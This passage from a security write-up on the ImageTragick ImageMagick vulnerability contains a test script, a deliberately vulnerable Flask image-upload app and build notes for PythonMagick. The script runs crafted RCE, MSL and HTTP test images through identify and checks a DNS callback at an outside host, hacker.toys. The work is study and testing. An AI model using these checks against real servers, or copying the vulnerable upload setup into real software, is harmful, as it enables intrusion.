rm localhost_http1.jpg
if test -s requestheaders; then
    echo "UNSAFE"
else
    echo "SAFE"
    # terminate the dummy server
    nc -z localhost ${PORT} 2>/dev/null >/dev/null
fi
rm requestheaders
set +b
echo ""

NONCE=$(echo $RANDOM | ${MD5SUM_EXE} | fold -w 8 | head -n 1)
echo "testing http with nonce: ${NONCE}"
IP=$(curl -q -s ifconfig.co)
sed "s:NONCE:${NONCE}:g" http.jpg > http1.jpg
#echo "#### identify ######"
$IDENTIFY http1.jpg 2>/dev/null 1>/dev/null
#echo "####################"
rm http1.jpg
if curl -q -s "http://hacker.toys/dns?query=${NONCE}.imagetragick" | grep -q $IP; then
    echo "UNSAFE"
else
```

```
    echo "SAFE"
fi
echo ""

echo "testing rce1"
#echo "#### identify ######"
$IDENTIFY rce1.jpg 2>/dev/null 1>/dev/null
#echo "####################"
if [ -e rce1 ]
then
    echo "UNSAFE"
    rm rce1
else
    echo "SAFE"
fi
echo ""

echo "testing rce2"
#echo "#### identify ######"
$IDENTIFY rce2.jpg 2>/dev/null 1>/dev/null
#echo "####################"
if [ -e rce2 ]
then
    echo "UNSAFE"
    rm rce2
else
    echo "SAFE"
fi
echo ""

echo "testing MSL"
#echo "#### identify ######"
$IDENTIFY msl.jpg 2>/dev/null 1>/dev/null
#echo "####################"
if [ -e msl.hax ]
then
    echo "UNSAFE"
    rm msl.hax
else
    echo "SAFE"
fi
echo ""
```

Appendix B – Python flask web application PoC

I made a small proof of concept Python web application that uses the Flask web framework. It uses the PythonMagick bindng to integrate Python with ImageMagick. See *Appendix C – Custom build of PythonMagick* for specific steps required to get a custom version of `PythonMagick` compiled against the vulnerable, custom compiled 6.9.2-10 version of the `ImageMagick` binaries.

app.py

The entry point for bootstraping the web app

```
from flask import Flask

UPLOAD_FOLDER = './uploads'

app = Flask(__name__)
app.secret_key = "secret key"
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024
```

main.py

The main backend flask controller logic, for handling the form post event and image upload. Uploaded images are resized using the Python bindings for ImageMagick called *PythonMagick*.

```
import os
#import magic
import urllib.request
import PythonMagick
from app import app
from flask import Flask, flash, request, redirect, render_template
from werkzeug.utils import secure_filename

ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'])

def allowed_file(filename):
  return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def upload_form():
  return render_template('upload.html')

@app.route('/', methods=['POST'])
def upload_file():
  if request.method == 'POST':
    if 'file' not in request.files:
      flash('No file part')
      return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
      flash('No file selected for uploading')
      return redirect(request.url)
```

```
    if file and allowed_file(file.filename):
      filename = secure_filename(file.filename)

      # ImageMagick fun
      img = PythonMagick.Image(file)
      geometry = img.size()
      w, h = geometry.width(), geometry.height()
      new_width = 400
      factor = new_width/float(w)
      new_height = int(h * factor)
      img.resize("{}x{}".format(new_width, new_height))
      img.write(os.path.join(app.config['UPLOAD_FOLDER'], filename))

      flash('File successfully resized and uploaded')
      return redirect('/')
    else:
      flash('Allowed file types are txt, pdf, png, jpg, jpeg, gif')
      return redirect(request.url)

if __name__ == "__main__":
  app.run()
```

templates/upload.html

The template that the flask MVC framework binds to for the image upload page.

```
<!doctype html>
<title>Python Flask File Upload Example</title>
<h2>Select a file to upload</h2>
<p>
    {% with messages = get_flashed_messages() %}
      {% if messages %}
        <ul class=flashes>
        {% for message in messages %}
          <li>{{ message }}</li>
        {% endfor %}
        </ul>
      {% endif %}
    {% endwith %}
</p>
<form method="post" action="/" enctype="multipart/form-data">
    <dl>
        <p>
            <input type="file" name="file" autocomplete="off" required>
        </p>
    </dl>
    <p>
        <input type="submit" value="Submit">
    </p>
</form>
```

Appendix C – Custom build of PythonMagick

A custom build of the `PythonMagick` Python bindings for ImageMagick.

Set `pkgconfig` paths to IM libraries:

```
root@kali:~/Downloads/PythonMagick-0.9.19# export PKG_CONFIG_PATH= \
/root/Downloads/ImageMagick-6.9.2-10/Magick++/lib \
:/root/Downloads/ImageMagick-6.9.2-10/magick \
:/root/Downloads/ImageMagick-6.9.2-10/wand
```

Set path to header files in custom ImageMagick build with `configure` script:

```
root@kali:~/Downloads/PythonMagick-0.9.19# ./configure \
CPPFLAGS="-I/root/Downloads/ImageMagick-6.9.2-10/Magick++/lib \
-I/root/Downloads/ImageMagick-6.9.2-10 \
-I/root/Downloads/ImageMagick-6.9.2-10/magick" \
--with-python-min-version=3.5
```

Test `pkgconfig` before compiling with `make`:

```
root@kali:~/Downloads/PythonMagick-0.9.19# pkgconf --libs Magick++-6.Q16
-L/usr/local/lib -lMagick++-6.Q16 -lMagickWand-6.Q16 -lMagickCore-6.Q16
```

Give the linker `ld` a hand to locate the custom `6.9.2-10` build of the ImageMagick libraries:

```
root@kali:~/Downloads/PythonMagick-0.9.19# export LD_LIBRARY_PATH= \
/root/Downloads/ImageMagick-6.9.2-10/Magick++/lib \
:/root/Downloads/ImageMagick-6.9.2-10/magick \
:/root/Downloads/ImageMagick-6.9.2-10/wand
```

OK, kick off the compilation work:

```
root@kali:~/Downloads/PythonMagick-0.9.19# make
make[1]: Entering directory '/root/Downloads/PythonMagick-0.9.19/pythonmagick_src'
  CXX      libpymagick_la-_DrawableFillRule.lo
  CXX      libpymagick_la-_PathMovetoAbs.lo
  CXX      libpymagick_la-_DrawableText.lo
  CXX      libpymagick_la-_Blob.lo
  ...
make[1]: Entering directory '/root/Downloads/PythonMagick-0.9.19'
  CXXLD    _PythonMagick.la
/usr/bin/ld: cannot find -lMagick++-6.Q16
/usr/bin/ld: /usr/local/lib/libMagickWand-6.Q16.so: error adding symbols: file in wrong format
collect2: error: ld returned 1 exit status
make[1]: *** [Makefile:555: _PythonMagick.la] Error 1
```

Looks like an the 32-bit build of ImageMagick is not compatible with the 64-bit of PythonMagick, add `-m32 CLFAG` using the `configure` script, and re-run the compile. Success. Ready to put to work with the Python Flask proof of concept web application, that allows a user to upload an image and have it resized.

References

Böck, Hanno. 2016. “ImageMagick Heap Overflow and Out of Bounds Read.” May 2016. https://blog.fuzzing-project.org/45-ImageMagick-heap-overflow-and-out-of-bounds-read.html.

Cunningham, Jodie. 2014. “Imagemagick Fuzzing Bugs.” December 2014. https://www.openwall.com/lists/oss-security/2014/12/24/1.

Foster, Ian. 2016. “ImageTragick Pocs.” May 2016. https://github.com/ImageTragick/PoCs.

Goldberg, Daniel. 2019. “Living with Decade-Old Vulnerabilities in Datacentre Software.” *Network Security* 2019 (4): 6–8.

Huber, Ryan. 2016. “ImageMagick Is on Fire – Cve-2016-3714.” *ImageMagick Is on Fire*. https://www.openwall.com/lists/oss-security/2016/05/03/13.

Kovacs, Eduard. 2016. “ImageTragick Exploits Used for Reconnaissance, Remote Access.” May 2016. https://www.securityweek.com/imagetragick-exploits-used-reconnaissance-remote-access.

Red Hat, Inc. 2016. “ImageTragick - Imagemagick Filtering Vulnerability - Cve-2016-3714.” May 2016. https://access.redhat.com/security/vulnerabilities/ImageTragick.

Shih, Fan-Syun. 2016. “ImageTragick Cve-2016-3714 Remote Shell Proof of Concepts.” May 2016. https://github.com/jpeanut/ImageTragick-CVE-2016-3714-RShell.

Zalewski, Michał. 2016. “Clearing up Some Misconceptions Around the "Imagetragick" Bug.” May 2016. https://lcamtuf.blogspot.com/2016/05/clearing-up-some-misconceptions-around.html.